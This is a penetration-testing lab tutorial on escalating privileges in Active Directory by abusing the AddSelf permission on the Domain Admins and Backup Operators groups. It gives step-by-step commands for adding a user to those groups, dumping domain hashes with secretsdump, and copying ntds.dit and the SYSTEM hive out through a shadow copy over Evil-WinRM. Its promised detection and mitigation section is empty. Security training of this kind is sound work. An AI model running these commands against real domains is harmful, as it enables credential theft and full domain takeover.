Abusing AD-DACL: AddSelf

In this post, we will explore the exploitation of Discretionary Access Control Lists (DACL) using the AddSelf permission in Active Directory environments. By exploiting this misconfiguration, attackers can escalate privileges by adding themselves to privileged groups like Domain Admins or Backup Operators. This allows them to gain administrative control, move laterally within the network, access sensitive systems, and maintain persistence. Additionally, attackers can perform Kerberoasting attacks to steal credentials or gain control over backup data, potentially leading to a full domain takeover if the abuse is not detected and remediated.

The lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to AddSelf attacks are also covered, alongside actionable recommendations for mitigating these vulnerabilities. This overview equips security professionals with critical insights to recognize and defend against these prevalent threats.

Table of Contents

AddSelf Permission

Prerequisites

Lab Setup – User Owns AddSelf Permission on the Domain Admins Group

Exploitation Phase I – User Owns AddSelf Permission on Domain Admins Group

Bloodhound – Hunting for Weak Permission

Method for Exploitation – Account Manipulation (T1098)

• Linux Bloody AD
• Linux Ldap_shell
• Windows PowerShell – Powerview
• Windows PowerShell – Active Directory module

Post Exploitation – Dumping hashes with Impacket

Lab Setup – User Owns AddSelf Permission on the Backup Operators Group

Exploitation Phase II – User Owns AddSelf Permission on the Backup Operators Group

Bloodhound – Hunting for Weak Permission

Method for Exploitation – Account Manipulation (T1098)

• Linux adduserstogroup tool

Post Exploitation – Dumping hashes with Impacket

Detection & Mitigation

AddSelf Permission

The AddSelf permission in Active Directory allows a user to add itself to the target security group. Because of security group delegation, the members of a security group have the same privileges as that group.

By adding yourself to a group and refreshing your token, you gain all the same privileges that group has.

The impact of AddSelf DACL abuse can vary based on the group that is abused. Below is a breakdown of the potential impact from an attacker’s perspective:

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Net RPC, Powerview, BloodyAD, Ldap_Shell, Impacket
• Windows 10/11 – As Client

Lab Setup – User Owns AddSelf Permission on the Domain Admin Group

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

• Install Windows Server (2016 or 2019 recommended).
• Promote it to a Domain Controller by adding the Active Directory Domain Services
• Set up the domain (e.g., local).

User Accounts:

Create a standard user account named Shreya.

net user shreya Password@1 /add /domain

Assign the “AddSelf” Privilege to Shreya:

Once your AD environment is set up, you need to assign the “AddSelf” privilege to Shreya for the Domain Admins group.

Open Active Directory Users and Computers (ADUC) on the Domain Controller.

Enable the Advanced Features view by clicking on View > Advanced Features.

Locate the Domain Admins group in the Users container.

Right-click on Domain Admins and go to Properties.

 

Go to the Security tab, and click on Add button

In the “Enter the object name to select” box, type Shreya and click Check Names and click on OK.

Select Shreya user and in the Permissions section, and click on Advanced option.

In the Advanced security settings box, double-click on Shreya user’s permission entry.

In the Permissions section, check the box for Add/remove self as member permission rights

Apply the settings.

At this point, Shreya now has AddSelf rights over the Domain Admins group, meaning they can add themselves to the Domain Admins group.

 

Exploitation Phase I – User Owns AddSelf Permission on the Domain Admins Group

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Shreya has the AddSelf permission on the Domain Admins group.

bloodhound-python -u shreya -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

Thus, it has shown the Shreya User has AddSelf privilege to Domain Admin group.

 

Method for Exploitation – Account Manipulation (T1098)

Linux Bloody AD

It can be achieved using bloodyAD

The tester can abuse this permission by adding Shreya User into Domain Admin group and list the domain admin members to ensure that Shreya User became Domain Admin

bloodyAD --host "192.168.1.48" -d "ignite.local" -u "shreya" -p "Password@1" add groupMember "Domain Admins" "shreya"

Net RPC

Use net rpc, to list the users in the group

net rpc group members "Domain Admins" -U ignite.local/shreya%'Password@1' -S 192.168.1.48

Linux Ldap_shell

Alternatively, can be achieved using ldap_shell

ldap_shell ignite.local/shreya:Password@1 -dc-ip 192.168.1.48

Windows PowerShell – Powerview

The attacker can add a user to a group. This can be achieved with the Active Directory Add-DomainGroupMember (PowerView module).

powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainGroupMember -Identity "Domain Admins" -Members shreya -Verbose

thus, from user property we can see Shreya user has become the member of domain admin.

Windows PowerShell – Active Directory module

The attacker can add a user to a group. This can be achieved with with the Active Directory PowerShell module.

Get-Module -Name ActiveDirectory -ListAvailable
Import-Module -Name ActiveDirectory
Add-ADGroupMember -Identity 'Domain Admins' -Members 'shreya'

Post Exploitation – Dumping hashes with Impacket

After exploiting AddSelf abuse, the compromised account was added to the Domain Admins group. With elevated privileges, NTLM hashes can be dumped from the Domain Controller using Impacket’s secretsdump tool.

impacket-secretsdump 'ignite.local'/'shreya':'Password@1'@'192.168.1.48'

This revealed Domain Admin credentials and the krbtgt hash, enabling further attacks like Golden Ticket.

Lab Setup – User Owns AddSelf Permission on the Backup Operators Group

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

• Install Windows Server (2016 or 2019 recommended).
• Promote it to a Domain Controller by adding the Active Directory Domain Services
• Set up the domain (e.g., local).

User Accounts:

• Create a standard user account named Aarav.

Assign the “AddSelf” Privilege to Aarav:

Once your AD environment is set up, you need to assign the “AddSelf” privilege to Aarav for the Backup Operators group.

• Open Active Directory Users and Computers (ADUC) on the Domain Controller.
• Enable the Advanced Features view by clicking on View > Advanced Features.
• Locate the Backup Operators group in the Users container.
• Right-click on Backup Operators and go to Properties.

 

• Go to the Securitytab and click on Add
• In the “Enter the object name to select” box, type Aaravand click Check Names and click on OK.
• Select Aarav user and in the Permissions section and click on Advanced
• In the Advanced security settings box, double-click on Aarav user’s permission entry.
• In the Permissionssection, check the box for Add/remove self as member permission rights
• Apply the settings.

 

At this point, Aarav now has AddSelf rights over the Backup Operators group, meaning they can add themselves to the Backup Operators group.

Exploitation Phase I – User Owns AddSelf Permission on the Backup Operators Group

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Aarav has the AddSelf permission on the Backup Operators group.

bloodhound-python -u aarav -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

Thus, it has shown the Aarav User has AddSelf privilege to Backup Operators group.

Alternatively, the above lab setup can be done using Impacket’s dacledit script

impacket-dacledit -principal aarav -target 'Backup Operators' -dc-ip 192.168.1.48 ignite.local/aarav:Password@1

Method for Exploitation – Account Manipulation (T1098)

Linux adduserstogroup tool

The tester can abuse this permission by adding Aarav User into Backup Operators group and list the Backup Operators members.

python3 addusertogroup.py -d ignite.local -g "Backup Operators" -a aarav -u aarav -p Password@1

Use net rpc, to list the users in the group

net rpc group members "Backup Operators" -U ignite.local/aarav%'Password@1' -S 192.168.1.48

Post Exploitation – Dumping hashes with Impacket

After exploiting AddSelf abuse, the compromised account was added to the Backup Operators group. With elevated privileges, NTLM hashes can be dumped from the Domain Controller using Impacket’s secretsdump tool.

To test if the Aarav user has the SeBackupPrivilege, we connect to the target machine using the Evil-WinRM.  After connecting, we use the whoami /priv command to check the privileges of the Aarav user. We can observe from the image below that indeed the user Aarav has the SeBackupPrivilege and SeRestorePrivilege enabled.

evil-winrm -i 192.168.1.48 -u aarav –p "Password@1"
whoami /priv

In the Domain Controller, to extract NTLM hashes, the ntds.dit file and SYSTEM hive are required. Since ntds.dit remains locked while the machine is running, conventional copying methods fail. To bypass this, Diskshadow, a built-in Windows tool, is used to create a volume shadow copy of the C: drive. Instead of using manual commands in the Diskshadow shell, a Distributed Shadow File (dsh) is created to automate the process. The dsh file instructs Diskshadow to create a shadow copy of the C: drive as Z: drive. Before execution, the dsh file is converted to Windows-compatible format using unix2dos.

nano raj.dsh
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh

In the WinRM session, navigate to the Temp directory and upload the raj.dsh file to the target machine. Run Diskshadow with the dsh script, which executes the commands sequentially to create a shadow copy of C: as Z:.

cd C:Temp
upload raj.dsh
diskshadow /s raj.dsh

Use RoboCopy to transfer the ntds.dit file from Z: to the Temp directory.

robocopy /b z:windowsntds . ntds.dit

With the ntds.dit file obtained; the SYSTEM hive can be extracted using the reg save command. Both files are now in the Temp directory and can be transferred to Kali Linux using the download command.

reg save hklmsystem c:Tempsystem
download ntds.dit
download system

On the Kali Linux shell, use Impacket’s secretsdump to extract hashes from the ntds.dit file and SYSTEM hive. As shown below, the Administrator account hashes were successfully extracted.

impacket-secretsdump -ntds ntds.dit -system system local

Use Evil-WinRM to log in as Administrator using the extracted hash, achieving privilege escalation on the Windows Domain Controller.

Detection & Mitigation

Author: Pradnya Pawar is an InfoSec researcher and Security Tech Lead. Contact here

The post Abusing AD-DACL: AddSelf appeared first on Hacking Articles.